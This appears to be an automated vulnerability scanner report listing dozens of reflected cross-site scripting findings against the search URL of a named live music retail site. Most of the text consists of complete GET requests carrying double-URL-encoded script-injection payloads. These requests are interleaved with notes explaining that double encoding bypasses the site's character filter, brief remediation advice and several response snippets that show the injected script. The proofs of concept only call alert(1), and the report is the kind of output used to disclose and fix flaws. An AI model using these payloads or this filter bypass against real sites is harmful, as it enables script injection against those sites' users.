GET /search/query/Candy%20Bars54e69%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e993e8d654d2&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6246%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eeb5d00fd0e3 was submitted in the REST URL parameter 3. This input was echoed as d6246"><script>alert(1)</script>eb5d00fd0e3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Candy%20Clawsd6246%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eeb5d00fd0e3&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 40b9b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7a240c2ee7f was submitted in the REST URL parameter 3. This input was echoed as 40b9b</title><script>alert(1)</script>7a240c2ee7f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Candy%20Claws40b9b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7a240c2ee7f&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 2ca8b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e30d17cf6bd8 was submitted in the REST URL parameter 3. This input was echoed as 2ca8b</title><script>alert(1)</script>30d17cf6bd8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Candy%20Snatchers2ca8b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e30d17cf6bd8&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3adb7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8968e5029bc was submitted in the REST URL parameter 3. This input was echoed as 3adb7"><script>alert(1)</script>8968e5029bc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Candy%20Snatchers3adb7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8968e5029bc&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 529f5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9ac8e9c7a2d was submitted in the REST URL parameter 3. This input was echoed as 529f5"><script>alert(1)</script>9ac8e9c7a2d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Candyskins529f5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9ac8e9c7a2d&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 783a3%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9eab33f8a4e was submitted in the REST URL parameter 3. This input was echoed as 783a3</title><script>alert(1)</script>9eab33f8a4e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Candyskins783a3%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9eab33f8a4e&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41aff%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed026fc4a7ff was submitted in the REST URL parameter 3. This input was echoed as 41aff"><script>alert(1)</script>d026fc4a7ff in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Canned%20Heat41aff%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed026fc4a7ff&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 87cee%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e945b3aae3a0 was submitted in the REST URL parameter 3. This input was echoed as 87cee</title><script>alert(1)</script>945b3aae3a0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Canned%20Heat87cee%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e945b3aae3a0&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload b63a3%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e66a032306b4 was submitted in the REST URL parameter 3. This input was echoed as b63a3</title><script>alert(1)</script>66a032306b4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Cannibal%20Oxb63a3%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e66a032306b4&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9f188%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e83905858b22 was submitted in the REST URL parameter 3. This input was echoed as 9f188"><script>alert(1)</script>83905858b22 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Cannibal%20Ox9f188%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e83905858b22&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dcde0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea2c1cf0e8a was submitted in the REST URL parameter 3. This input was echoed as dcde0"><script>alert(1)</script>a2c1cf0e8a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Cansei%20De%20Ser%20Sexydcde0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea2c1cf0e8a&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> <head> <link re ...[SNIP]... <input type="hidden" name="query" value="Cansei De Ser Sexydcde0"><script>alert(1)</script>a2c1cf0e8a" /> ...[SNIP]...
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 4aaa5%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e098fa7fb1b1 was submitted in the REST URL parameter 3. This input was echoed as 4aaa5</title><script>alert(1)</script>098fa7fb1b1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Cansei%20De%20Ser%20Sexy4aaa5%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e098fa7fb1b1&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> <head> <link re ...[SNIP]... <title>Cansei De Ser Sexy4aaa5</title><script>alert(1)</script>098fa7fb1b1</title> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8160%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea86437928d7 was submitted in the REST URL parameter 3. This input was echoed as c8160"><script>alert(1)</script>a86437928d7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Canyonc8160%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea86437928d7&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 82e50%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0857b329499 was submitted in the REST URL parameter 3. This input was echoed as 82e50</title><script>alert(1)</script>0857b329499 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Canyon82e50%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0857b329499&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4aec%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0586550ec47 was submitted in the REST URL parameter 3. This input was echoed as c4aec"><script>alert(1)</script>0586550ec47 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Canyonsc4aec%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0586550ec47&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload baf0d%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3f68ad9cfd1 was submitted in the REST URL parameter 3. This input was echoed as baf0d</title><script>alert(1)</script>3f68ad9cfd1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Canyonsbaf0d%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3f68ad9cfd1&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56c27%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e32f749fe2ff was submitted in the REST URL parameter 3. This input was echoed as 56c27"><script>alert(1)</script>32f749fe2ff in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Cap'n%20Jazz56c27%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e32f749fe2ff&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload e32f6%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec355903f322 was submitted in the REST URL parameter 3. This input was echoed as e32f6</title><script>alert(1)</script>c355903f322 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Cap'n%20Jazze32f6%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec355903f322&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cdc37%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edd2f0793f4b was submitted in the REST URL parameter 3. This input was echoed as cdc37"><script>alert(1)</script>dd2f0793f4b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Capgun%20Coupcdc37%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edd2f0793f4b&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 1e0a4%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2b98189875 was submitted in the REST URL parameter 3. This input was echoed as 1e0a4</title><script>alert(1)</script>2b98189875 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Capgun%20Coup1e0a4%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2b98189875&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14eee%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea1db6f4912 was submitted in the REST URL parameter 3. This input was echoed as 14eee"><script>alert(1)</script>a1db6f4912 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Capillary%20Action14eee%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea1db6f4912&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 8010f%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0d79cebd7c6 was submitted in the REST URL parameter 3. This input was echoed as 8010f</title><script>alert(1)</script>0d79cebd7c6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Capillary%20Action8010f%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0d79cebd7c6&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload be42c%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec9962230acd was submitted in the REST URL parameter 3. This input was echoed as be42c</title><script>alert(1)</script>c9962230acd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Capitol%20City%20Dustersbe42c%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec9962230acd&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> <head> <link re ...[SNIP]... <title>Capitol City Dustersbe42c</title><script>alert(1)</script>c9962230acd</title> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fd0e8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e22e682c610 was submitted in the REST URL parameter 3. This input was echoed as fd0e8"><script>alert(1)</script>22e682c610 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Capitol%20City%20Dustersfd0e8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e22e682c610&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 82ab8%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed63e39fc802 was submitted in the REST URL parameter 3. This input was echoed as 82ab8</title><script>alert(1)</script>d63e39fc802 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Capitol%20K82ab8%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed63e39fc802&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 91fab%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef962b5e103a was submitted in the REST URL parameter 3. This input was echoed as 91fab"><script>alert(1)</script>f962b5e103a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
